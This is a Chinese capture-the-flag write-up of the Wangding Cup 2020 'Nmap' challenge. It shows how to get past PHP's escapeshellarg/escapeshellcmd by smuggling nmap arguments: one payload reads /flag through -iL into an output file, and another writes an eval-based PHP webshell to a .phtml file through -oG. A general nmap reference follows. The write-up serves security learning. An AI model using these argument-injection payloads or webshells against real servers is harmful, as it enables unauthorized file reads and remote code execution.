网鼎杯2020朱雀组-Nmap

  1. 网鼎杯2020朱雀组-Nmap
    1. 第一种解法 将flag写到指定文件
    2. 第二种解法 利用nmap参数-oG写一句话木马
    3. 知识点
      1. nmap
      2. escapeshellarg和escapeshellcmd函数的绕过

网鼎杯2020朱雀组-Nmap

两种解题方法:

第一种通过nmap的-iL参数读取扫描一个文件到指定文件中第二种是利用nmap的参数写入webshell

-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式


首先查看网页源代码,提示我们flag的存放位置在/flag

进入页面是一个NMAP工具的使用页面


先测试一下多条命令执行

1
2
3
4
127.0.0.1 ; ls

发现变成了
127.0.0.1 \; ls

;被转义了

那么我们可以通过以下知识点写入webshell,或将flag读入指定文件在读取指定文件内容即可

第一种解法 将flag写到指定文件

1
2
3
4
5
6
7
8
9
10
127.0.0.1' -iL /flag -o haha
经过escapeshellarg函数后
'127.0.0.1'\'' -iL /flag -o haha'(将单引号转义并用一对单引号包裹起来,再将这个语句用单引号包裹起来确保只有一个参数)
经过escapeshellcmd函数后
'127.0.0.1'\\'' -iL /flag -o haha\'
对\转义,在许多编程语言中,反斜杠被用作转义字符,用来表示特殊字符或序列。这里面两个相邻的反斜杠\表示一个单独的反斜杠字符,没有转义作用。而末尾单引号转义过后的普通字符仍然是它本身,没有变化,会被视为普通字符不具有单引号的作用了
这样就分为了三部分'127.0.0.1'''连接空白和-iL /flag -o haha'(最后这个单引号只有一个不起作用,但它将最后的文件名变为了haha')
nmap既可扫描前面的ip,又能执行-iL /flag -o haha'

ip中输入,因为'127.0.0.1'\\执行的时候会被简化为127.0.0.1\,这个ip就错了,但是不用管报错,只要后面命令执行了我们就能访问到

文件名变成了haha’,直接访问即可拿到flag

第二种解法 利用nmap参数-oG写一句话木马

1
2
3
4
5
6
7
8
9
10
127.0.0.1 | <?=@eval($_POST[1]);> -oG shell.php

发现被过滤了
换成phtml试试
127.0.0.1 | <?=@eval($_POST[1]);> -oG shell.phtml

构造payload:
127.0.0.1 | ' <?=@eval($_POST["cmd"]);?> -oG shell.phtml '

127.0.0.1 | '<?=@eval($_REQUEST['cmd']);?>' -oG attack.phtml

成功


知识点

nmap

常用参数

1
2
3
4
5
nmap -iL <目标文件>`:从文件中读取IP地址列表进行扫描

nmap -oN <输出文件> <目标IP>`:将扫描结果以普通文本格式保存到文件中

nmap <?=@eval($_POST[1]);> -oG shell.php 将一句话木马写入到文件中

nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Nmap(Network Mapper)是一款功能强大的网络扫描工具,它能够帮助用户发现网络上的设备、开放的端口以及运行的服务。以下是一些Nmap的常见命令及其用途:

基本扫描
nmap <目标IP>:对指定IP地址进行快速扫描,默认扫描100个常用端口。
nmap -p <端口范围> <目标IP>:扫描指定IP地址的特定端口范围。
详细扫描
nmap -sV <目标IP>:探测目标主机上运行的服务的版本信息。
nmap -O <目标IP>:尝试检测目标主机的操作系统类型。
nmap -A <目标IP>:进行高级扫描,包括操作系统检测、版本检测、脚本扫描等。
扫描多个目标
nmap <目标IP1> <目标IP2> ...:依次扫描多个IP地址。
nmap -iL <目标文件>:从文件中读取IP地址列表进行扫描。
扫描整个子网
nmap <起始IP>-<结束IP>:扫描指定IP范围内的所有主机。
nmap <网络地址>/<子网掩码>:使用CIDR表示法扫描整个子网。
服务探测
nmap --script=<脚本名> <目标IP>:运行指定的Nmap脚本进行扫描。
nmap -sT <目标IP>(或-sU):进行TCP(或UDP)连接扫描。
nmap -sS <目标IP>:进行TCP SYN扫描(半开扫描),速度较快且不易被防火墙发现。
性能优化
nmap -T<0-5> <目标IP>:设置扫描的并行度,-T0为最慢但最隐蔽,-T5为最快但可能触发防火墙警报。
nmap --min-hostgroup=<数量>:设置一次扫描的主机组大小,以优化扫描速度。
结果输出
nmap -oN <输出文件> <目标IP>:将扫描结果以普通文本格式保存到文件中。
nmap -oX <输出文件> <目标IP>:将扫描结果以XML格式保存到文件中。
nmap -oG <输出文件> <目标IP>:将扫描结果以Grepable格式保存到文件中,便于后续处理。
其他选项
nmap --open <目标IP>:仅显示开放的端口。
nmap --host-timeout=<时间>:设置扫描每个主机的超时时间。
nmap --script-timeout=<时间>:设置运行脚本的超时时间。
nmap --osscan-limit:限制操作系统检测,以加快扫描速度。
nmap --osscan-guess:尝试猜测更具体的操作系统信息。

escapeshellarg和escapeshellcmd函数的绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
escapeshellarg()
escapeshellarg() 函数用于确保一个字符串在作为命令行参数时安全。它会将单引号进行转义,并用一对单引号包裹整个字符串,确保该字符串被视为一个单独的参数。

原始输入:

$input = "127.0.0.1' -iL /flag -o wtj";
经过 escapeshellarg() 处理后:

$safe_input = escapeshellarg($input);
echo $safe_input; // 输出:'127.0.0.1'\'' -iL /flag -o wtj'
解释:

单引号 ' 被转义为 \',然后用一对单引号包裹整个字符串。
结果是一个合法的命令行参数,其中原始字符串被安全地引用。
escapeshellcmd()
escapeshellcmd() 函数用于确保一个字符串在作为整个命令行时安全。它会转义一些特殊字符,比如 ;, &, (, ), |, <, >, ^, `, $, *, \, ", `, [, ], {, }, =, ?, 和 #,以及空格和制表符。

原始输入:

$input = "'127.0.0.1'\'' -iL /flag -o wtj'";
注意:这里输入已经包含了一些转义的单引号,并且整个字符串被单引号包裹。

经过 escapeshellcmd() 处理后:

$safe_input = escapeshellcmd($input);
echo $safe_input; // 输出:'127.0.0.1'\\'' -iL /flag -o wtj\'
解释:

单引号 ' 已经被转义为 \',但由于整个字符串已经处于单引号内,所以内部的 \' 被进一步转义为 \\'。
字符串末尾的单引号 ' 被转义为 \',因为 escapeshellcmd() 会处理字符串中的所有特殊字符。
结果是一个更安全的命令行字符串,但需要注意的是,这种处理方式可能会在某些情况下导致意外的行为,特别是当输入字符串已经包含转义字符时。

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github